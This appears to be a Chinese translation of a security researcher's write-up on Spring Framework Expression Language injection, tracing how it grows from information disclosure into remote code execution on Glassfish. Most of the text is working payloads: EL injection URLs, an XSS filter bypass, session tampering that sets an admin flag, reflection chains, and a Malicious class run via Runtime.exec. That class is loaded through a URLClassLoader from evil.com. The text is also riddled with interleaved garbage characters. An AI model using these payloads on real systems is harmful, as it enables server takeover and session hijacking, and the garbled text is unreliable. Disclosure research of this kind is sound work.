Remote Code with
8 T) u Y) W. ^! s% C. TExpression Language Injection4 {/ |7 [; u4 f" Y7 c! j, K- V$ `
Spring Framework脆弱性—DanAmodio
# S! i4 |1 j+ ?0 Z全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
* |) {4 s! ^; O2 W0 O3 ]可能会存在风险。! S$ N6 T9 H9 T) H: L2 I" C0 C- q
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的& w9 b* L2 {9 _8 D5 V; s# q2 N8 b
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
5 j0 Z( Y# v, y+ ]# F以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
4 m% M/ M7 m# L0 [7 n- D5 c5 T4 d3 |以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
9 _6 j+ x& a$ g/ i7 E0 B7 G版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
4 V3 E" S, @7 ?/ \/ A. Z由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但+ A9 O; o% J% L7 b; l9 l/ N( n7 Q
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版) k" k8 ?1 U& K7 l6 b% d) f
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
7 c. p) m: S1 |6 x. a5 e# E% _这些版本不支持禁用double EL resolution.
0 H; J0 c9 p) X) O' y; h' [$ |这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
* V0 p1 q8 ]6 z3 e `* @& D% o7 a& \EL2.2容器上可能进行远程代码执行。. {: }/ a' t4 R
这是一个原始信息泄露的攻击例子:5 B; O |' H- p# w* g/ A
请求:- s- C' L1 z4 V
ttp://vulnerable.com/foo?message=${applicationScope}3 Q# f I6 N; p4 u' _/ q
到达以下内容页面:% [% g) R) F8 r1 }- @: X
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
) o: N# U5 v$ j$ J& J: L; E你也可以做一些其他事情,如这样:- h5 `6 |! a# f' V! z9 o
${9999+1}- O3 H. a6 w: A$ P
还可以访问session 对象和beans
' l) n. E* b, }4 Y7 L/ X" m+ t${employee.lastName}
) j: o5 P2 H# X3 P- ?/ `. R' X在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是1 B, ~: x: V/ Q, d* V0 o
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东) F. U. U: H: x4 G2 n
西,比如XSS.4 a, X& q$ G6 q$ J
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
) c/ Z i ?& [- d1 z" m+ p1 D突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
8 n: S( r `! s5 X6 ?& E9 p呢?”5 G5 N3 V' e6 D& o0 B/ q+ s
因此,我尝试巳缦拢�
% L. |6 U5 B! khttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
! a8 Z# l4 [0 j6 `( f, j; L V" yP
6 B- k+ K+ f O! h2 l. ~& r我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返) u b1 c& \; ^
回的文本被插入进了spring:message 标签。
6 N; H3 g5 D& d这里是一个最终绕过过滤的实例:: c1 D$ W* K" x K1 d# u
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ5 ]" k7 [% H4 b
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为- O8 x7 Z3 @9 U+ G: R$ Y
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?& \) V8 ~8 n: O- s# z
经过一番研究,我学习到EL2.2 增加了方法调用。3 d/ s; W* e3 V' c
我写了一个快速测试应用程序代码并且检测一些功能3 r* E/ ?! e' V( _
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
- d/ L t; l+ N& Q+ Z${pageContext.request.getSession().setAttribute(“admin”,true)}
' ]+ ~* t) ]3 \1 j2 {好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
1 f, A2 G& R$ [: M7 _指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
0 f0 @6 R0 V- r- G) E9 f% ^) a${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1* D f% `% J. z: _' h
“, 1234)}$ S3 ^( a- G4 B
${“”.getClass().forName(“java.lang.Runtime”)}
3 ^2 R/ V- [% o/ h5 p哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
- A5 T a+ A5 G- w可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函 B! @8 M5 W8 S" D$ e
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
) e0 T; G6 E/ m! h一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于6 Y+ y. k/ r1 O
方法签名invoke(Object obj, Object„ args)
, k- Y& Z, i4 b6 e# B% D# {( qJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问6 a6 r% x- y7 ^. `1 x1 d7 I
题,以让它可以工作起来。
( I, F. q C! j1 u- E漏洞利用:3 d) ]+ u* N: M; p1 S6 `6 i# ]6 I
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
/ G# I2 q, }' v8 b希望你们中的一些JAVA奇才告诉我我是如此的可笑。5 z; t4 l: Y, q. Z+ q, t+ Q
这里有一些我试过的失败的用例,为了试图让它工作的用例:; o% a3 P0 V# x/ X* c( l
写文件到文件系统
+ j) F, Y( H& T9 S4 Y/ h0 K6 k 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
- K; b& U' Z+ M" L& o- w我认为这些可以很好的工作,但是我不能找到合适的类来载入。* w1 h/ |' V4 P3 U6 G7 T3 I
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
# E. W" C3 g9 s4 H% vjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:% B; T$ g; J$ A$ C' n) l4 G
org.springframework.expression.spel.standard.SpelExpressionParser not found! ?/ {! Y; r y3 T% X. M
by6 N7 R, J- P! ^+ p6 ^# g
org.glassfish.web.javax.servlet.jsp [194].
4 I; ^: }* _" L- G. ^# N 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public% L; t4 n& Y: K1 w5 F
利用反射来创建一个新的Runtime(and watch the world burn)
2 n. ^. R% n6 W8 e${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
* [; t I1 @$ M(“java.lang.Runtime”)).getDeclaredConstructors()[0])}( t' C9 R) J+ H8 r* h3 m1 B
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}1 ]9 H, C2 y8 p8 ~
使用java.lang.ProcessBuilder
H/ `$ f) W5 Q {: I" f# s- p. z 用表达式语言来评估表达式语言/ \3 r+ u- |: V: W* C7 U
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.7 v- t- q6 V3 P& _) i7 k) ^0 }/ M
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
6 o1 ` S& O3 ~) O% n" t8 Y“,”".getClass(),null)}! V7 Q( ~9 a8 n p' A
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
% ]/ \! }; \; [! t我在使用一个空数组通过Method.invoke()时失败了很多次
: r6 b9 ^8 H$ c) ~9 O, s& K“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo. r% H. V! {+ r# V1 v: z- N: g3 S
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A* W/ ]. Z U! z: H9 Y
rrayList”).newInstance().toArray())
2 l! I" A# v2 {: cjava.lang.IllegalArgumentException: wrong number of arguments
; d) k8 T6 X! T, a+ Z) n最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可; {6 Q, H) V# L$ z' D* J1 y4 J, J# S
以创建一个恶意class文件并且指向类装载器.
! E6 m8 ?7 ] ?# T" f% N我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
: {& {# k4 \; \! N0 Upublic class Malicious {& c+ ?6 Q( Q5 r: u+ u+ X. S& e% O
public Malicious() {
# u N; k! L( K7 I& L- Itry {
7 J& ]" J/ m2 P* R/ q& E" H1 tjava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac9 c4 s! _6 B2 v( F' L' Y
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
) G7 a4 r5 R( q# [3 L} catch (Exception e) {
! ~2 y: w6 f5 L: m0 _+ b: W}2 a; a' w- S8 L: Y
}
. d. Y! Z- Z3 D( H- k我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
, d1 o+ _% D+ z! j话中,因此它可以被使用.
& { Y" j: ^0 S, I2 _! E, H6 P${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
B" x$ I1 ? c9 n+ N' u9 b(“java.util.ArrayList”).newInstance())}
( C3 t+ r4 Z& {URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
- r( ]$ C, X" M) B) C一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
" R. N# M2 U3 x% q8 ^getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个3 N% {( @2 ]' @! P, H; \. v4 T' h
我们可以调用的create(string)方法,然后转换对一个URL对象。* _! S2 Q* T3 p& W1 c" B* A- {
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
2 ^7 c! @) H, T% p+ o# Sere/malicious/classfile/is/located/”).toURL())}
4 k: i+ f6 ]. r) t然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,4 _" X9 F3 c/ Z( M/ n
恶意类文件被装载并创建,触发远程代码.5 u- I" v2 Q7 {
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
2 b; Q7 O6 ]1 k0 mxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
, t3 U% I9 _; N! rgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
" `7 ?' V' U: z' _. ~9 s4 l()} |